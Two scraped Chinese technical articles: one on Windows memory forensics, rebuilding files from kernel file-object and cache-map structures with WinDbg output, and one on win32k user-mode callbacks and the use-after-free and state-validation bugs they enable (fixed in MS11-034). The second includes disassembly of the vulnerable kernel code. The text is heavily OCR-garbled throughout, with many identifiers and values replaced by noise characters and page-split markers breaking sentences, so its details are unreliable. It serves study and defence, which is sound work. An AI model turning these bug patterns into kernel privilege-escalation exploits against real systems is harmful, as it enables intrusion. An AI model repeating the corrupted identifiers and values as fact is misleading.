dlls和EXEs所以被稱為內存映射文件,是因為它們在內存中的數據都是來自磁盤上的 文件內容。對于內存映射文件而言,代碼是不分頁的。系統通過內核對象來標識一個內存映 射文件,當文件內容需要分頁到磁盤時,內存映射文件會將內容拷貝會磁盤。既然正常操作 下不會該表代碼內容,且它總是存在于磁盤原文件,故它在頁文件的頁數據交換中就顯多余。 僅僅是單一進程內的特定二進制文件私有內容是分頁的。 作為取證調查的一部分,acrord32.exe進程做了一個實驗,使用兩個不同的方法 獲取進程內存映射。傳統方法即使用volatility2.0和dlldump命令,第二種方式即使用內 核文件對象獲取整個映射文件內容,表1給出了兩者之間的區別. (2)誤歸屬的數據 在取證調查事件響應機制中,屬性是至關重要的。盡管剛開始可能只是對發現存在缺陷 的主機感興趣,但隨后就會產生更多的補救措施。本文主要是探討進程地址空間問題,顯然 掌握進程漏洞是重要的一環。在此的honeynet工程解決方案中,Smithffifl9Volati 1 ityf的memdump 命令獲取到了acrord32.exe進程的pid,并運行foremost工具重新構建pdfs,foremost工具 通過尋找一個特定的起始和結束分界符來重構文件。在此例中,它構建了7個pdf文件,前5 個文件只有400個字節大小,沒有實際意義。最后兩個文件分別為: 參 00599696.pdf ——占60124字節大小 參 00600328.pdf ——占607083字節大小 作者在00600328.pdf文件內發現了可疑內容,此文件顯然歸屬于acrord32.exe,因為他們是從此進程上下文中獲取到的內容。然而,使用Volatility的memdump命令和Foremost 工具對同一個鏡像進行分析時,得出了相同大小,內容幾乎相同的文件。盡管他們的結論是 正確的,但若他們嘗試分析的不是進程acrord32.exe,則結果可能不正確,并會因為錯誤的 屬性而誤導。這些文件在每個進程中都存在的原因,是由于采用了同一種技術對進程進行分 析。memdump命令暴力搜索408的虛擬地址空間,并使用目標進程的目錄基址表018進行頁地 址翻譯。這些文件內容都必須在每個進程地址空間上翻譯,通過在volatility腳本上放置一 條打印語句,可以看出這些文件在系統中的緩存位置為0132如0000.系統使用此緩存保存部 分文件內容及其部分1/0到內存中,以盡可能地減少從磁盤上讀取文件內容導致性能下降。 既然緩存的虛擬地址空間位于內核內存且為全局變量,那么在上述兩個進程的地址翻譯都是 正確的。 memdump命令并不會對未翻譯的頁進行磁盤寫入,故已翻譯的地址看似連續的,但實際 上很可能存在成千上百的虛擬頁間隔。foremost僅僅是對獲取到的所有數據進行遍歷搜索, 尋找開始和結束分隔符。使用moonsols提供的bin2dmp.exe工具,你可以將內存鏡像從 Bob•vmem形式轉換為Windbg格式。將dump文件加載到windbg后,使用filecache命令,我們 可以找到FILE_OBJCT對象地址為0x81dfadf0.然而,!filecache同樣掲露了00600328.pdf 實際上是pdf.php.此文件并不是607083字節大小,而僅僅占19731字節。導致這種差異的存 在,主要是memdUmp命令會對進程內的所有頁翻譯成一個連續的文件,而忽視了無法翻譯的 頁以及緩存結構等。此外,foremost工具會遍歷開始與結束定界符,并將標簽內部的內容視 為一個連續的文件。下面小段將給出如何利用fileobject和緩存結構。 利用文件對象 既然dlls和exes都是通過內核內存中的文件對象fileobject來引用的內存映射文件,則 理解它們的結構對內存取證而言顯得至關重要。file_object結構體包含了 一些重要成員變 量,如此unicode文件名指針、文件的設備對象指針(包含驅動名)等。其中最為重要的指針 即section_object_pointers,如圖1所示。 SECTION_OBJECT_POINTERS 結構體僅包含 3 個指針,分別為 DataSectionObject, sharedcachemap和imagesection.其中datasectionobjects和imagesectionobjects相關都是指向control_areas結構體指針。imagesectionobjects代表 二進制鏡像,以跟蹤可執行文件流的狀態。 (1) Image Section Objects imagesectionobjects即指向control_area結構的指針,用來表示內存映射二進制文件。 Controlarea包含一個指向段結構體的指針,段結構體中又包含一個指向原controlarea的指 針。這種關系可以在內存解析中作為一種驗證方法。段結構中還包含了段大小、頁表項總數。 用ptes總數乘以011000可校驗一個段的完整性。subsection結構體在controlarea中起著重 要作用。尋找首個與fileobject對象相關的subsection^最易的方法即將control_area結構體 大小加到fileobject對象地址上。我們的研究表明首個subsection結構緊隨controlarea構體,每個subsection都包含一個指向下一個subsection的指針,如圖2所示。#p#分頁標題#e# 圖2中對取證而言,最感興趣的是原型ptes數組mmpte,原型pte包含了內存頁物理地址。 若替換此物理地址,則原型pte中的一個指針會重新指向原subsection對應的頁被交換到磁盤文件上。Subsection結構中的NumberOfFullSectors和PtesInSubsection字段值對于原型ptes數組的遍歷十分重要。每個原型pte占4096字節頁大小,每個完整的扇區占512字節, 故每個pte中至多能存放8個扇區內容。為了準確判斷哪些內容在內存,哪些內容保存在磁盤 上,需要獲取正確的邊界對齊值。   (2) Shared Cache Map SharedCacheMap是指向SHARED_CACHE_MAP結構體的指針,如圖3所示。它包含了文件大 小、緩存cache中有效數據長度等。若validdatalength大于文件大小,則SHARED_CACHE_MAP 無效。此結構體也包含了initialvacbs成員-包含4個指向vacbs(虛擬地址控制塊)的指 針。每個vacb占256kb大小,若文件大小<1mb,則fileobject可以用4個vacbs表示;若文件 大小在1mb與32mb之間,則系統會采用一個vacb數組來描述文件內容;超出32mb大小,則會 引入二級指針,類似于虛擬內存的多級頁表管理模式。vacb樹深度可以使用公式: (log(n) -18)/7計算。 案例分析 我們可以對一個文件進行分析,打開一個文件通過程序獲取到文件對象值(這里可以采 用驅動程序調用ObReferenceObjectByHandle函數,根據文件句柄值獲取到文件對象值。假 設值為8606bea8,則此時使用windbg工具執行“dtnt!_FILE_OBJECT8606bea8”,可以得出 此文件對象下每個成員的內存地址信息,如下所示: lkd> dt nt!_FILE_0BJECT 8606bea8   +0x000 Type 5 +0x002 Size 112 +0x004 DeviceObject 0x86f22cc0 +0x008 Vpb : 0x86f22c38 +0x00c FsContext 0xe1d32710 +0x010 FsContext2 0xe18a25b8 +0x014 SectionObjectPointer : 0x86cae074  +0x018 PrivateCacheMap (null) +0x01c FinalStatus :0 +0x020 RelatedFileObject :(null) +0x030 FileName :_UNICODE_STRING 〃\Documents and Settings\index. txt〃   +0x038 CurrentByteOffset  :_LARGE_INTEGER 0x0 然后繼續跟蹤sectionobjectpointer結構,執行 “dt nt!_SECTION_OBJECT_POINTERS 0x86cae074”,獲取到此結構體的三個指針值,即0&1&56(^丨00013」6(^, SharedCacheMap* ImageSectionObjects.假設執行得出的結果如下: lkd> dt nt!_SECTION_OBJECT_POINTERS 0x86cae074 +0x000 DataSectionObject : 0x86e3e1a8 +0x004 SharedCacheMap : 0x86413008 +0x008 ImageSectionObject : (null) 前面已經分析過,ControlArea結構體中包含一個指向原文件對象的指針即 FilePointer,我們在執行 “dt nt!_SHARED_CACHE_MAP 0x86413008” 之前,需要判斷校驗 其001^^01肚6&結構體中的卩116卩01的61指針值,即執行“dtnt!_control_area 0x86e3e”” . 這里假設滿足此校驗要求,此時我們可以直接執行“dtnt!_SHARED_CACHE_MAP 0x86413008”, 獲取SHARED_CACHE_MAP結構體詳細內容,即提取出7&出8指針值,進而獲取文件在緩存中的 內容,假設執行結果如下: lkd> dt nt! SHARED CACHE MAP 0x86413008 +0x008 FileSize _LARGE_ _INTEGER 0x48000 +0x010 BcbList _LIST_ENTRY [ 0x86413018   +0x018 SectionSize _LARGE_ _INTEGER 0x100000 +0x020 ValidDataLength _LARGE_ _INTEGER 0x48000 +0x028 ValidDataGoal _LARGE_ _INTEGER 0x48000 +0x030 InitialVacbs [4] 0x86face00   +0x040 Vacbs 0x86413038 ->  0x86face00 +0x044 File0bject 0x866068d8   從文件大小看,文件內容小于―,故只占一個vacb.再次跟蹤vacb結構: lkd> dt nt!_VACB 0x86face00  +0x000 BaseAddress : 0xd4680000 +0x004 SharedCacheMap : 0x86413008 +0x008 Overlay : —unnamed +0x010 LruList : _LIST_ENTRY [ 0x86facfa8 _ 0x86facfc0 *VACBSfttt,此時我們可以獲取文件在內存中的內容,執行如下命令即可: lkd> db d4680000 d4680000 43 6c 69 65 6e 74 20 55-72 6c 43 61 63 68 65 20 Client UrlCache d4680010 4d 4d 46 20 56 65 72 20-35 2e 32 00 00 80 04 00 MMF Ver 5. 2.....#p#分頁標題#e# d4680020 00 40 00 00 80 08 00 00-22 03 00 00 00 00 00 00 .@......"....... d4680030 00 00 80 00 00 00 00 00-00 b0 14 00 00 00 00 00  d4680040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  d4680050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  小結與展望 本文我們介紹了一些新技術以準確地從內存中重構文件及進程,并展示了文件對象成員 變量setion_onject_pointers結構體的重要作用。尤其是,從內存中萃取進程信息時, imagesectionobject結構體在定位進程內容在內存中的位置至關重要。datasectionobjects結構體在萃取數據文件時如從內存中獲取word文檔內容也起著重要作用。 為了在內存映像文件、數據文件、緩存文件中獲取到更豐富的內容,尋找指定進程相關 的所有文件對象是必要的。在分析或獲取一個進程的地址空間時,可以從兩個渠道找到文件 對象:a)進程句柄表;…vad樹。前面的分析主要目標在vad樹,其實一些重要的取證調查 數據在句柄表中可以找到。比如windows注冊表,注冊表單元的大部分內容存放在08(^6中, 我們可以借助一些專用取證工具如RegRiroer對注冊表進行取證分析;pdf文件、web瀏覽器 會話中的gifs文件等等。 http://www.ionrce.tw/uploads/allimg/120506/1-1205061I049531-lp.jpg 內存,緩存,內核,內存取證 各類編程 admin 未知 2012-05-06 17:28 利用Windows用戶模式回調機制實施內核攻擊 http://www.ionrce.tw/xitonganquan/20120505900.html Windows NT環境下,Win32子系統提供了一套Win32 API函數以滿足用戶層應用程序訪問更高權限的服務器組件。對于客戶端的每個線程,在windows子系統進程中都有一個專門配對的服務器線程在等 Windows NT環境下,Win32子系統提供了一套Win32 API函數以滿足用戶層應用程序訪問更高權限的服務器組件。對于客戶端的每個線程,在windows子系統進程中都有一個專門配對的服務器線程在等待客戶線程的請求,一個被稱為fast lpc的特殊的跨進程通信設施, 可用來在這些線程之間發送消息。與普通的線程環境切換不同的是,在這些配對的線程之間fast LPC來傳遞消息并不會使內核中產生一個重新調度(rescheduling)的事件,服務器線程在等待內核的搶先式線程調度器將執行權交給它以前,可以利用客戶線程尚未用完的時間片來運行自己的代碼。另外,利用共享的內存緩沖區,可以傳遞一些大的數據結構, 客戶可以直接(但只讀)訪問關鍵的服務器數據結構,以便使客戶和町1^(^8子系統服務器之間的線程/進程轉換盡可能地減少到最少。 盡管已經提升了傳統聽032子系統的性能,但miceosoft公司還是決定將windows nt4.0發行版的大部分服務器組件移植到內核模式下。這些改變使得子系統可直接訪問其他的windows 執行體組件,而無須付出用戶模式或者內核模式轉換的代價。然而,相對在相同權 限級之間的代碼/數據的直接訪問,用戶與內核模式之間的切換效率還是顯得慢;一些舊的 詭計如高速管理結構緩存在用戶模式下的部分客戶端地址空間上依舊保存有;另外,一些管 理結構還專門存放在用戶模式下以避免Ring轉換。Win32k需要通過一種方式訪問到這些信 息并支持一些基本功能如windows鉤子,故需要將控制權傳遞給用戶模式端,即用戶模式回調機制。用戶模式回調機制允許win32k實現用戶模式回調任務,如調用應用程序定義的hook函數、提供事件通知、用戶模式數據拷進拷出等。本文,我們主要討論win32k系統中的用 戶模式回調涉及到的各種挑戰和問題難點,并給出win32k在數據完整性設計上的某些不完 整漏洞(如用戶模式下的回調)。 1.用戶模式下的回調 Win32k系統中使用了大量的系統調用函數實現用戶模式通知,如應用程序自身設置的鉤 子函數、內核驅動的異步事件通知、數據拷貝(從用戶模式進出)等。回調函數機制的實現 函數為KeuserModeCallback—個nt執行體導出的函數,類似于一個反向系統調用,定義 如下: NTSTATUS KeUserModeCallback ( IN ULONG ApiNumber, IN PVOID InputBuffer, IN ULONG InputLength, OUT PVOID *OutputBuffer, IN PULONG OutputLength ); 當win32使用用用戶模式回調時,系統會調用函數KeUserModecallback并帶上參數 ApiNumber,即系統需要調用的用戶模式函數的索引值,此索引值存放在一個函數指針表 KernelCallbackTable,此地址在一個給定的進程中對user32.dll進行初始化期間,被拷貝 到進程環境控制塊四8結構中的。 系統通過如下公式:Call backFunPointer=KernelCa11backTable[ApiIndex],取回回調 函數指針。故ApiNumber=(回調函數地址一 KernelCallbackTable) / 4。Win32k為相應的 回調函數提供了一個inputbuffer參數,并接收用戶模式輸出的參數outputbuffer.一個系 統調用發生后,nt! KiSystemService或者是nt! KernelCallbackTable函數會在內核線程桟上存 放一個陷阱棧(TRAP_FRAME)以保存當前線程上下文,并在返回用戶模式時恢復寄存器值。 為了使通信能夠準確返回到用戶模式下指定的回調函數地址4&%^0如0&1^&(^函數會首 先通過線程對象使用陷阱棧信息將1叩此6^化『參數值拷貝到用戶模式棧,然后創建一個新 的陷阱棧,并將桟指針£1?設置為的耵1 ! KiUserCallbackDispatcher,以替換線程對象的 TrapFramej0#,最終調用nt! kiservicexit將執行權限交給用戶模式的回調派遣函數。 用戶模式下的回調機制需要一個空間存放線程狀態信息如陷阱棧等,在windows xp和windows 2003下,系統會自動增長內核棧長度,以確保有足夠的空間使用。然而,桟空間總會被大量 的遞歸回調函數迅速耗盡,故Vista.windows 7系統為每個用戶模式回調函數創建了一個新的內核線程桟。桟區域與桟控制結構分別如下所示: kd> dt nt!_KSTACK_AREA +0x000 FnArea : _FNSAVE_FORMAT +0x000 NpxFrame : _FXSAVE_FORMAT +0xle0 StackControl : _KERNEL_STACK_CONTROL +0xlfc CrONpxState : Uint4B +0x200 Padding : [4] Uint4B kd> dt nt!_KERNEL_STACK_CONTROL _b +0x000 PreviousTrapFrame : Ptr32 +0x000 PreviousExceptionList : Ptr32 +0x004 StackControlFlags : Uint4B +0x004 PreviousLargeStack : Pos 0, 1 Bit +0x004 PreviousSegmentsPresent : Pos 1, 1 Bit +0x004 ExpandCalloutStack : Pos 2, 1 Bit +0x008 Previous : _KERNEL_STACK_SEGMENT +0x000 StackBase : Uint4B +0x004 StackLimit : Uint4B#p#分頁標題#e# +0x008 KernelStack : Uint4B +0x00c InitialStack : Uint4B +0x010 ActualLimit : Uint4B 一旦用戶模式回調完成后,系統調用ntcallbackreturn函數,修正堆棧后跳回 KeUserModeCallback,完成調用以回到內核中繼續執行。此函數拷貝回調函數的結果到原內 核棧,并根據kernel_control結構中保存的信息恢復原陷阱棧(PrevTrapFrame)以 及內核棧。在」測口回先前離開的地址即的nt!kicallusermode位置之前,系統會清除內核調用 棧。總而言之,&0&111186^(^6函數的整個調用過程如下:nt!KeUserModeCallback -> nt! KiCallUserMode -> nt! KiServiceExit -> ntdll!KiUserCallbackDispatcher -> 回調函數-> int2B -> nt!KiCallbackReturn -> nt!KeUserModeCallback,即ring0->ring3->ring0的過程,在堆棧準備完畢后,使用kiserviceExit函數回到4叩3,然 后選擇函數KiUserCallbackDispatcher,從peb中取出kernelcallbacktable的基址,再以 apinumber為索引在此表中查找對應的回調函數并調用,調用完之后int28觸發 nt!KiCallbackReturn使其再次進入內核,修正堆棧后跳回keusermodecallback完成調用。 由于遞歸或嵌套的回調可能會導致內核棧無限制的增長,或者創建任意數量的棧,對于 每個運行的線程內核會使用線程對象結構體的成員變量kethhead->callbackdepth跟蹤回調 深度。在每次回調發生后,系統會將線程棧上使用的字節數即棧基地址減去棧頂指針值,加到callbackdepth變量上,~^&內核嘗試創建一個新堆棧,nt! KiMigrateToNewKernelStack 函數會確保callbackdepth變量值不超過0xc000,否者返回一個status stack overflow碼。 2.使用用戶模式回調機制實施內核攻擊 本小節我們將給出一些攻擊手法,使得&461^可以借助用戶模式回調機制實施特權提 升攻擊,在開始詳細討論每種攻擊手法之前,首先分析下用戶模式回調函數機制是如何操縱 用戶關鍵段。 2.1Win32命名規范 windows管理器使用關鍵段和全局鎖機制管理重要的內部系統結構。用戶模式回調機制 允許應用程序掛起如1子系統,且射032^總是會在回調機制進入到用戶模式執行用戶命令時, 離開關鍵段,此時Win32k可能正在執行其它的任務。當回調函數返回時,即在執行權返回到 內核時,win32k會重新進入到關鍵段。我們可以在任何一個調用KeUserModeCallback的函數中觀察到此行為,如下代碼所示: call _UserSessionSwitchLeaveCrit@0  lea eax, [ebp+var_4] push eax  lea eax, [ebp+var_8] push eax  push 0  push 0  push 43h  call ds:_ _irap_KeUserModeCallback@20 cal1 UserEnterUserCritSec@0  從用戶模式回調函數返回時,Win32k必須確保相關的對象與數據結構還保存在例外狀態 中。在執行權限交給回調函數時,代碼的執行已經脫離了關鍵段,此時用戶模式代碼可自由 該表一些對象的屬性、重新分配數組空間等等。例如,回調函數可以調用SetParent()該表 父類窗口指針;若系統在調用回調函數之前,事先保存了父窗口的索引指針,則系統返回到 內核繼續執行時,若內核沒有進行一定的校驗或執行對象鎖,那么可能會帶來一定的安全漏 為了確保應用程序開發者不會利用此漏洞,win32k使用了自己特有的函數命名規范。如: 函數的前綴命名為“xxx”或“zzz”完全依賴于系統是如何調用一個用戶模式回調。大多數 情況下,使用“xxx”前綴的函數會在調用一個用戶模式回調時,離開關鍵段資源。然而, 某些情形下,函數可能需要一套特殊的參數以便轉入到回調函數真實被調用的路徑分支上。 這就是為何我們有時會看到不帶前綴的函數調用xxx函數,因為它們提供給xxx函數的參數無 法導致一個回調函數被真實調用;而一般情況下,前綴為“ZZZ”的函數總是調用異步或者 延遲的回調函數。典型的案例如一些窗口事件可能因為某種原因不需要及時處理,如定時器 設置等。此時,win32k會調用xxxFlushDeferredWindowEvents函數刷新事件隊列。但重要的 是,調用zzz函數時,必須需要確保在調用xxxWindowEvent函數時,win32k ! gdwDeferWinEvent的變量不會空,否則回調函數會立即處理。 Win32k的命名規范缺乏一致性。Win32k內的一些函數雖然調用了回調函數,但并不有標 記。具有原由不是太清楚,但一個可能的解釋是,隨著時間的推移一些函數在命名規則上沒 有做更新。相應地,開發者可能會認為這類函數不會調用回調函數,故回避了一些必要的驗 證(如對象是否上鎖、指針值校驗等)。從MSll-034給出的安全補丁看,一些函數的命名已 經做了更新處理,部分更新的函數如下:#p#分頁標題#e# 2.2用戶對象鎖 用戶對象采用引用計數方式,以跟蹤每個對象是否還在使用或者已經從內存中釋放。在 內核離開用戶關鍵段區時,那些被視為有效的對象必須上鎖。通常,系統中提供兩種形式的 鎖:線程鎖和任務鎖。 線程鎖。線程鎖主要用在某個函數內對某些對象或緩沖區資源的鎖定。每個線程鎖單元 節點存放在一個線程鎖(win32k !_孔)結構中,此結構采用單鏈表形式組織,由線程信息結 構體(THREADINFO. ptl)指向。線程鎖隊列節點的操作非常類似FiFo隊列。Win32k系統,線 程鎖通常都是以內聯函數方式實現,在111函數被調用時,可以通過內聯指針方式增加引用, 當給定的函數不在需要此對象或緩沖區時,它會調用作threadUnlock()函數,從線程鎖列表中移除鎖節點。若事件調度時,對象沒有正常釋放(如在處理用戶模式回調時,進程意外結 束),此時Win32k會操作線程鎖鏈表,釋放此線程使用的所有對象單元,即在xxxdestoryThreadInfo函數中調用DeatroyThreadsObjects實現。Win32k中的線程上鎖與釋放過程如下: mov ecx, _gptiCurrent   add ecx, tagTHREADINFO. ptl ; thread lock list   mov edx, [ecx]   mov [ebp+tl. next], edx  lea edx, [ebp+tl]   mov [ecx], edx ; push new entry on list  mov [ebp+tl. pobj], eax ;window object inc [eax+tagWND. head. cLockObj]   push [ebp+arg_8]   push [ebp+arg_4]   push eax   call _xxxDragDetect@12  ;xxxDragDetect(x, x, x) mov esi, eax   call _ThreadUn1ock1@0  ThreadUnlockl() 任務鎖。此鎖通常用在對某些用戶對象的長期鎖定。如:在桌面系統內部創建一個新窗 口,win32k會采用任務鎖對wind0w對象結構體的某個適合位置鎖定此桌面對象。并不像線程 鎖,需要操作一個鎖隊列,任務鎖單元僅僅是一些存放在內存中的指針(指向鎖定的對象)。 若一指針占用了win32k需要鎖定某對象的位置,系統會在鎖定此對象前釋放已存在的任務鎖單元,并用新產生的鎖替換。句柄管理器為任務鎖的鎖定與釋放提供了一些函數,如在鎖定 某對象時,win32k調用HMAssignmentLock (Address, Object)函數分配鎖并增加對象的引用計數以及函數HMAssignmentUnlock(address)釋放對象的引用。尤其是,任務鎖并不會像線程鎖一樣提供安全網,在回調機制中若一個線程結束后,線程或用戶對象的清理函數會各自獨立負責釋放這些引用。若此類操作失敗,且對象的分配可重復任意的執行,則將導致內存泄露或引述計數溢出。 Windows對象Use-After-Free漏洞,對系統設置一個基于cbt hook鉤子時,應用程序可接收到各種通知消息如windows窗口事件、鍵盤與鼠標輸入事件以及消息隊列事件等。如, 在一個新窗口創建之前,此HCBT_CREATEWND回調機制允許應用程序檢查并修改正在使用的一些 參數。其中,結構體cbt_createwnd可決定窗口大小和方向,允許應用程序通過此窗口的句 柄值可對hwninsertafter參數進行修改,以改變窗口在z序列中的位置。在設置此句柄時,hwninsertafter函數獲取相應的對象指針,而后在將新窗口加入到2序列鏈之后使用它。 但是,當此函數未成功占有此指針時,攻擊者可以在子序列回調時強迫Win32k在回調函數返 回時操作已經釋放的內存來銷毀由hwndinsertAfter參數提供的窗口。xxxCreateWindowEx 函數在調用pwinsertafter函數,獲取windows對象指針即(^^. cbt.hwndInsertAfter對應的窗口對象指針后,函數會保存此指針在一個局部變量中,但并沒有將其作為互斥資源保護,如圖 1所示: .text:BF892EAl push [ebp+cbt.hwndInsertAfter] .text:BF892EA4 call _PWInsertAfter04 ; PWInsertAfter(x) .text:BF892EA9 mov [ebp+pwndInsertAftGr], eax ; window object 由于xxxCreateWindowEx 函數并沒有對象指針通過“鎖”來進行保護,故攻擊者可以在 隨后調用的鉤子函數中通過調用destroy銷毀cbt.hwndinsertafter所指向的窗口,那 么該窗口的窗口對象就會被銷毀,此時函數xxxCreateWindowEx 的局部變量保存的窗口對象 指針在調用linkwindows時實際指向的是一塊已經被釋放了的內存。那么在linkwindows函數中就會觸發Use-after-free漏洞,此漏洞允許攻擊者在內核上下文中執行任意代碼。實際上, 在調用 PWI ns ertAft erSl 調用 LinkWindow 間,xxxCreateffindowEx還要為創建窗口進行很多 其他的操作,在此期間還會回調已經注冊了的其他類型的用戶模式鉤子函數。如圖2所示:#p#分頁標題#e# .text:BF893924 push esi ; parent window .text:BF893925 push [ebp+pwndInsertAfter] .text:BF893928 push ebx ; new window .text:BF893929 call _LinkWindow<S12 ; LinkWindow(x,x ,x) 圖2. 2序列鏈表添加 鍵盤布局對象之化6]“^4^6漏洞,鍵盤布局對象用在對一個活動的線程或進程設置 鍵盤布局。在加載一個鍵盤布局時,應用程序會調用loadkeyboardlayout函數,加載指定的鍵盤布局名稱。其實windows系統也提供了一個未文檔化的函數loadkeyboardlayout,此 函數會調用HKLt0PKL將傳入的鍵盤布局對象句柄hKblay0ut轉換為對應的鍵盤布局對象指 針。HKLtoPKL函數會遍歷活躍鍵盤布局鏈表(THREADINFO. spklActive),直到找到一個匹配的句柄值,此時loadkeyboardlayoutex會使用棧局部變量保存此對象指針值,如圖3所示: •text:BF8150C7 push [ebp+hkl] .text:BF8150CA push edi .text:BF8150CB call _HKLtoPKL08 ; get keyboard layout object .text:BF8150D0 mov ebx, eax .text:BF8150D2 mov [ebp+pkl], ebx ; store pointer 圖3.將鍵盤句柄對象轉換為指針 由于loadkeyboardlayout函數并沒有通過“鎖”保護對象指針,故攻擊者可以在用 戶模式回調函數中卸載此句柄布局即釋放此對象指針。這種攻擊方式是可能發生的。因為loadkeyboardlayout函數隨后會調用loadkeyboardlayout函數來回調用戶模式下的hkblayout回調函數。若在回調函數中卸載了hkblyout對象當xxxloadkeyboardlayoutEX再次使 用[ebp+var_8]地址下事先保存的指針時,引用的將會是一塊已經被釋放的內存,如圖4所 示: .text: :BF8153FC mov ebx, [ebp+pkl] ; KL object pointer .text: :BF81541D mov eax, [edi+tagTHREADIMFO.ptl] .text: :BF815423 mov [ebp+tl.next], eax .text; :BF815426 lea eax, [ebp+tl] .text: :BF815429 push ebx .text; :BF81542A mov [edi+tagTHREADIWFO.ptl], eax .text: :BF815430 inc [ebx+tagKL.head.cLockObj] ; freed memory ? 圖4.用戶模式回調完成后引用鍵盤布局對象指針 2.3對象狀態驗證 為了跟蹤對象的使用情況,win32k會使用標識位或者指針來關聯用戶對象。系統程序在 使用用戶對象時,總會校驗這些對象的當前狀態是否有效。然而,用戶模式回調機制可以修 改或更新對象的屬性,如改變窗口的父類,導致下拉菜單失效、終止dde會話中的任一方等。 應用程序若沒有校驗對象狀態,則很可能導致_1指針解引用錯誤及各種use-after-free漏洞發生。 dde會話狀態漏洞,dde即動態數據交換協議是一種十分古老的消息通信方式,即在兩個 應用程序之間通過共享內存的方式交換數據,一方申請一塊全局內存,然后將內存指針傳遞 給另一方,接收方根據收到的指針訪問此全局內存。dde會話內部機制由windows管理器視為 一個dde會話對象管理,分別定義在發送與接收方。為了配合會話雙方的通信,會話對象結構體包含一個指向對方的會話對象指針。故,若擁有會話對象的某一方線程被終止,顯然對 方的會話對象指針將被清除。 由于dde會話在用戶模式下存儲數據,它們依賴用戶模式回調機制在用戶模式與內核模 式之間進行數據的拷進拷出。在發送一個dde會話消息時,win32k會調用xxxCopyDdeIn從用 戶模式下拷貝數據到內核模式;同樣地,在接收一個dde消息時,win32k會調用xxxCopyDDE0ut 函數將數據拷貝到用戶模式。拷貝動作發生后,Win32k會通知會話的一方可以分享此數據。 在處理用戶模式回調時,一些函數可能并不會校驗另一方的會話對象。攻擊者可利用此弱點, 在用戶模式回調過程中終止dde會話,并解鎖另一方得會話對象。由圖5可知,xxxCopyDdeIn 函數會調用一個回調函數,但此函數在將會話對象指針傳遞給另一方時,卻沒有重新校驗會 話方得對象指針o這種方式很可能導致即匕指針解引用錯誤0 text:BF8FB8A7 toxt:BF8FB8A8 text:BF8FB8AA toxt:BF8FB8AF text:BF8FB8Bl text:BF8KBSB4 text:BF8FB8C5 r.AXt: BF8FB8C7 BF8FB8CA BF8FB8CF BF8FB8D2 text push eax push dvord ptr [edi] call _xxxCopyDdeInC16 nov obx, eax cmp ebx, 2 piifth [fthp^arg_4] ; int push offset _xxxExecuteAckQ12 push dword ptr Cesi>10h] ; conversation obJect call _Antlc ipatePostC24 圖5. dde會話處理中缺乏對象指針校驗 菜單狀態處理漏洞,盡管菜單對象(tagMENU)本身比較簡單,僅僅包含菜單項的相關 信息,但菜單事件的響應卻依賴很多復雜函數及結構體來實現。例如,應用程序可調用 TrackP0pupMenuEx函數創建一個彈出菜單窗口,此時菜單窗口可以利用系統定義的菜單窗口 類程序(win32k ! xxxMenuWindowProc)來處理各種特定的菜單消息。特別是,系統為了跟 蹤菜單的使用情況,Win32k會為每個當前活躍的菜單創建一個菜單狀態結構 (tagMENUSTATE)。#p#分頁標題#e# 在處理各種菜單消息時,win32k在用戶模式回調之后并不會校驗菜單狀態。特別地,通 過發送MN_ENDMENU消息關閉一個菜單時,Win32k可能大多數情況下并沒有檢驗菜單狀態是否 活躍或者相關結構體引用的對象指針是否非見)& (如彈出菜單結構體^032讓! tagPOPMENU) 等。如圖6所示,win32k調用xxxHandleMenuMessages消息嘗試處理各種菜單消息,因為此函 數可能會調用一個回調函數,隨后的操作如菜單狀態指針的使用可能會引發Win32k操作一個空內存。 2.3緩沖區重分配 許多用戶對象都包含很多元素,采用數組或者緩沖區方式形式表述。數組中的每個元素 的新增與刪除通常都需調整大小以節約內存。例如,分配一個新元素若其超出或低于數組已 有的邊界值,則需要重新分配一個合適大小的緩沖區。特別地是,在用戶模式回調期間,任 何一個緩沖區的重分配或釋放之后在內核態都必須再次校驗,如圖7所示。任何一個函數在 未對節點項進行校驗,都有可能導致空內存操作,引發攻擊者控制指定的指針實施內存污染攻擊。 菜單子項數組之use-after-free漏洞,為了定位彈出或下拉的每個菜單子項,菜單對象(win32k ! tagMENU)會定義一個指向菜單子項數組的指針。每個菜單子項(win32k ! tagITEM)會為自己定義一些屬性如菜單名、嵌入的圖像、指向子菜單的指針等。菜單對象 結構體中citems變量定義了菜單子項數組的元素個數、變量calloces定義了已分配的緩沖區 可容納多少個菜單子項。菜單子項數組每增加或刪除一個子項,win32會調用 InsertMenuItem函數或者DeleteMenu函數,gcAlloced < cItems, win32k會嘗試擴大緩沖 區大小,如圖8所示。 Win32k提供的一些函數在用戶模式回調后,并沒有驗證子項數組緩沖區的合法性。實際 上,當前并沒有一種方式可“鎖”住一個菜單子項,如用戶對象,故任何一個有可能使用用 戶回調的函數都有必要重新校驗菜單子項數組的合法性。若菜單子項數組緩沖區在用戶模式 回調機制下已經重新分配,此時隨后的代碼有可能會操作已釋放的內存。setMenuInfo函數允許應用程序為一個特定的菜單設置多種屬性。win32在對每個菜單新進行更新設置時,會 調用xxxSetMenuInfo函數遍歷數組中每個菜單子項,并深層次遞歸更新每個子項的子菜單設 置。在遞歸更新菜單子項數組之前,xxxSetMenuInfo函數會將菜單子項項數(cItem)和每 個菜單子項的數組指針(rgItems)保存在局部變量/寄存器中,如下所示: .text:BF89C779 mov eax, [esi+tagMENU. cItems] .text:BF89C77C mov ebx, [esi+tagMENU. rgItems] .text:BF89C77F mov [ebp+cItems], eax .text:BF89C782 cmp eax, edx .text:BF89C784 .iz short loc BF89C7CC 一旦xxxSetMenuInf函數已經達到最深層次菜單子項,系統將會終止遞歸調用。此時, 函數很可能會調用一個用戶回調函數xxxMNUpdateMenumenu,故菜單子項數組就有可能會被 更新,如擴大或刪除數組中的某些子項等。然而,當111_口4&1^1^慮61^函數處理完畢, 返回到遞歸調用處時,xxxSetMenuInfo卻并沒有充分校驗菜單子項數組緩沖區以及數組子項 個數。若攻擊者在用戶模式回調處理過程中調用InsertMenuItem或DeleteMenu函數更改了菜 單子項數組,此時下面部分代碼中的6匕又寄存器值就有可能指向已經釋放了的內存空間。而 且,表述數組子項個數的0116肥也可能發生改變,導致xxxSetMenuInfo函數操作一個超出緩 沖區邊界的item子項。 .text:BF89C786 add ebx, tagITEM. spSubMenu .text:BF89C789 mov eax, [ebx] ; spSubMenu .text:BF89C78B dec [ebp+cItems] .text:BF89C78E cmp eax, edx .text:BF89C790 jz short loc_BF89C7C4 .text:BF89C7B2 push edi    .text:BF89C7B3 push dword ptr [ebx]    